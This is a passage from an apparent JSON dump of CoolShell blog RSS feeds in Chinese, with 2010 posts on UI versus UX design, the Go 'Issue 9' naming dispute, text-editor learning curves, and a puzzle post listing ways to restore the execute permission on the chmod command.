target=_blank>点击这里看全屏</a><br />\n</center><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/37.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" alt=\"【引文】如何用Python往Google Spreadsheet上写数据\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/37.html\" class=\"wp_rp_title\">【引文】如何用Python往Google Spreadsheet上写数据</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/jail_cell-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（下）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（下）</a></li><li ><a href=\"https://coolshell.cn/articles/1391.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"编程真难啊\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1391.html\" class=\"wp_rp_title\">编程真难啊</a></li><li ><a href=\"https://coolshell.cn/articles/410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg\" alt=\"1980年和2009年的1GB电脑内存的比较\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/410.html\" class=\"wp_rp_title\">1980年和2009年的1GB电脑内存的比较</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3161.html\">AES加密算法动画演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3161.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>16</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>用户界面和用户体验的差别</title>\n\t\t<link>https://coolshell.cn/articles/3142.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3142.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 14 Oct 2010 00:45:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<category><![CDATA[UX]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3142</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>用户界面设计 用户体验设计 （转载本站文章请注明作者和出处 酷 壳 &#8211; CoolShell ，请勿用于任何商业用途） 相关文章一些有意思的文章和资源...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3142.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>用户界面设计</strong></p>\n<figure id=\"attachment_3144\" aria-describedby=\"caption-attachment-3144\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3144\" title=\"用户界面设计\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/UI.gif\" alt=\"\" width=\"300\" height=\"312\" /><figcaption id=\"caption-attachment-3144\" class=\"wp-caption-text\">用户界面设计</figcaption></figure>\n<p><strong>用户体验设计</strong></p>\n<p><span id=\"more-3142\"></span></p>\n<p><figure id=\"attachment_3143\" aria-describedby=\"caption-attachment-3143\" style=\"width: 308px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/10/UX.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3143\" title=\"用户体验设计\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/UX.jpg\" alt=\"\" width=\"308\" height=\"524\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/UX.jpg 308w, https://coolshell.cn/wp-content/uploads/2010/10/UX-176x300.jpg 176w\" sizes=\"(max-width: 308px) 100vw, 308px\" /></a><figcaption id=\"caption-attachment-3143\" class=\"wp-caption-text\">用户体验设计在便池上放一个假苍蝇会导致男人撒尿的时候会不由自主地瞄准它，有证据表明，这样的用户体验可以减少80%的小便溅出便池。</figcaption></figure><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/363.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/18-150x150.jpg\" alt=\"35个强大的UI设计教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/363.html\" class=\"wp_rp_title\">35个强大的UI设计教程</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3142.html\">用户界面和用户体验的差别</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3142.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>chmod -x chmod的N种解法</title>\n\t\t<link>https://coolshell.cn/articles/3136.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3136.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 13 Oct 2010 00:42:37 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[chomd]]></category>\n\t\t<category><![CDATA[cpio]]></category>\n\t\t<category><![CDATA[Emacs]]></category>\n\t\t<category><![CDATA[tar]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3136</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在SlidesShare.net上有这么一个幻灯片，其说了如下的一个面试题： 如果某天你的Unix/Linux系统上的chomd命令被某人去掉了x属性（执行属性...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3136.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>在SlidesShare.net上有这么<a href=\"http://www.slideshare.net/cog/chmod-x-chmod\" target=\"_blank\">一个幻灯片</a>，其说了如下的一个面试题：</p>\n<blockquote><p>如果某天你的Unix/Linux系统上的chomd命令被某人去掉了x属性（执行属性），<br />\n那么，你如何恢复呢？</p></blockquote>\n<p>下面是一些答案：</p>\n<p><strong>1）重新安装</strong>。对于Debian的系统：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">sudo apt-get install --reinstall coreutils</code></p>\n<p><strong>2）使用语言级的chmod</strong>。</p>\n<ul>\n<li>Perl：perl-e &#8216;chmod 0755, &#8220;/bin/chmod&#8221;&#8216;</li>\n<li>Python：python -c &#8220;import os;os.chmod(&#8216;/bin/chmod&#8217;, 0755)&#8221;</li>\n<li>Node.js：require(&#8220;fs&#8221;).chmodSync(&#8220;/bin/chmod&#8221;, 0755);</li>\n<li>C程序：</li>\n</ul>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">#include &lt;sys/types.h&gt;\n#include&lt;sys/stat.h&gt;\nvoid main()\n{\nchmod(&quot;/bin/chmod&quot;, 0000755);\n}</pre>\n<p><span id=\"more-3136\"></span></p>\n<p><strong>3）使用已有的可执行文件。</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$cat - &gt; chmod.c\nvoid main(){}\n^D\n\n$cc chmod.c\n$cat /bin/chmod &gt; a.out\n$./a.out 0755 /bin/chmod\n</pre>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$cp true &gt; new_chmod\n$cat /bin/chmod &gt; new_chmod\n$./new_chmod 0755 /bin/chmod\n</pre>\n<p><strong>4）使用GNU tar命令</strong></p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$tar --mode 0755 -cf chmod.tar /bin/chmod\n$tar xvf chmod.tar</pre>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">tar --mode 755 -cvf - chmod | tar -xvf -</code></p>\n<p><strong>5）使用cpio</strong> （第19到24字节为file mode &#8211; <a href=\"http://4bxf.sl.pt\" target=\"_blank\">http://4bxf.sl.pt</a>）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\necho chmod |\ncpio -o |\nperl -pe &#039;s/^(.{21}).../${1}755/&#039; |\ncpio -i -u</pre>\n<p><strong>6）使用hardcore</strong></p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">alias chmod=&#039;/lib/ld-2.11.1.so ./chmod&#039;</code></p>\n<p><strong>7）使用Emacs</strong></p>\n<blockquote><p>Ctrl+x b &gt; * scratch*<br />\n(set-file-modes &#8220;/bin/chmod&#8221; (string-to-number &#8220;0755&#8221; 8))<br />\nCtrl+j</p></blockquote>\n<p>嗯，挺强大的，不过为什么不用install命令呢？</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">install -m 755 /bin/chmod /tmp/chmod\nmv /tmp/chmod /bin/chmod</pre>\n<p>各位，你的方法呢？</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/ediff-small-150x150.png\" alt=\"一些杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3437.html\" class=\"wp_rp_title\">一些杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg\" alt=\"主流文本编辑器学习曲线\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3125.html\" class=\"wp_rp_title\">主流文本编辑器学习曲线</a></li><li ><a href=\"https://coolshell.cn/articles/2271.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/03/emacs_color_theme-150x150.jpg\" alt=\"Emacs配色在线生成器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2271.html\" class=\"wp_rp_title\">Emacs配色在线生成器</a></li><li ><a href=\"https://coolshell.cn/articles/1640.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" alt=\"文件备份的几个简单命令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1640.html\" class=\"wp_rp_title\">文件备份的几个简单命令</a></li><li ><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/install-150x150.gif\" alt=\"Eclipse开发Android应用程序入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3136.html\">chmod -x chmod的N种解法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3136.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>22</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-25.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 25 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=25\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Tue, 12 Oct 2010 07:34:02 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Go语言的&#8221;Issue 9&#8243; Closed!</title>\n\t\t<link>https://coolshell.cn/articles/3156.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3156.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 12 Oct 2010 07:34:02 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Issue 9]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3156</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>还记得Google发布Go语言没几天就要 更名Issue 9 的那个事吗？那是2009年11月的事了，差不多一年了，今天Google的Go语言团队终于正式回复这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3156.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>还记得Google发布Go语言没几天就要 <a href=\"https://coolshell.cn/articles/1781.html\" target=\"_blank\"><strong>更名Issue 9</strong></a> 的那个事吗？那是2009年11月的事了，差不多一年了，今天Google的Go语言团队终于正式回复这个bug了。</p>\n<blockquote><p>Comment <a name=\"c1097\" href=\"http://code.google.com/p/go/issues/detail?id=9#c1097\" target=\"_blank\">1097</a> by project member <a href=\"http://code.google.com/u/rsc@golang.org/\">rsc@golang.org</a>, Today (11 hours ago)</p>\n<p>The naming similarity is unfortunate. However, there are many computing<br />\nproducts and services named Go. In the 11 months since our release, there<br />\nhas been minimal confusion of the two languages, so we are closing this<br />\nissue.</p></blockquote>\n<blockquote><p>“名命类似是很不幸的。然而，那有很多的计算机产品和服务都叫Go。自从我们发布Go语言的这11个月里，这两个语言只有极少的混乱，所以，我们决定关闭这个问题。”</p></blockquote>\n<p>目前，该bug的状态为Unfortunate，这个状态很有创造性啊，在我的这么多年软件开发过程中，我还没有在任何的bug管理系统中见过这种状态，嗯，要不我也给我们公司的Defect Tracking System加上一个这种状态？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"Go语言更名Issue 9？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1781.html\" class=\"wp_rp_title\">Go语言更名Issue 9？</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li><li ><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Go 语言：Google 的新编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_title\">Go 语言：Google 的新编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3156.html\">Go语言的”Issue 9″ Closed!</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3156.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>主流文本编辑器学习曲线</title>\n\t\t<link>https://coolshell.cn/articles/3125.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3125.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 12 Oct 2010 00:55:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Emacs]]></category>\n\t\t<category><![CDATA[Pico]]></category>\n\t\t<category><![CDATA[vi]]></category>\n\t\t<category><![CDATA[vim]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3125</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下图是几个经典的文本编辑器的学习曲线，不排除其中有调侃和幽默的味道。 注1：Pico(PIne COmposer)是Unix操作系统中最常见的三种文字处理软件之...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3125.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3125.html\">主流文本编辑器学习曲线</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下图是几个经典的文本编辑器的学习曲线，不排除其中有调侃和幽默的味道。</p>\n<figure id=\"attachment_3126\" aria-describedby=\"caption-attachment-3126\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3126 \" title=\"主流编辑器学习曲线图\" src=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt.jpg\" alt=\"\" width=\"600\" height=\"400\" srcset=\"https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt.jpg 600w, https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-300x200.jpg 300w, https://coolshell.cn/wp-content/uploads/2010/10/horrorstories.txt-405x270.jpg 405w\" sizes=\"(max-width: 600px) 100vw, 600px\" /><figcaption id=\"caption-attachment-3126\" class=\"wp-caption-text\">主流编辑器学习曲线图</figcaption></figure>\n<p><strong>注1</strong>：<strong>Pico</strong>(<strong>PI</strong>ne <strong>CO</strong>mposer)是Unix操作系统中最常见的三种文字处理软件之一，具有文字编辑、搜索、拼写检查、文件浏览和段对齐功能，适合高效地编辑短小的文件。Pico是由华盛顿大学开发的免费软件，随着<a title=\"Pine（尚未撰写）\" href=\"http://www.washington.edu/pine/\" target=\"_blank\">pine</a>电子邮件处理软件发布。它是在Emacs的基础上以pine的邮件编辑为目标而开发的，所以其指令集是Emacs的子集，但是由于在界面上有提示快捷键，相对于vi和Emacs来说更加容易使用。由于Pico虽然是免费软件，但是它并不是开源软件，所以很多Linux版本并不包含Pico。这些版本通常提供一个界面类似的开源软件<a title=\"Nano\" href=\"http://www.nano-editor.org/\" target=\"_blank\">nano</a>——Pico的克隆版。</p>\n<p><strong>注2</strong>：图中的纵横坐标没有标明。我所理解的是——X轴是熟练程度，Y轴是技能。于是对于notepad 来说，技能和熟练程度呈正比。对于VS来说，熟练程度越大，所需要技能先是越来越多，而随着熟练程度的增长，你需要的技能也越少。而对于VI来说，一开始就需要相当大的技能，但一旦掌握这些技能，则你将会越来越熟练。而对于emacs来说，技能和熟练程度是呈旋涡状。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 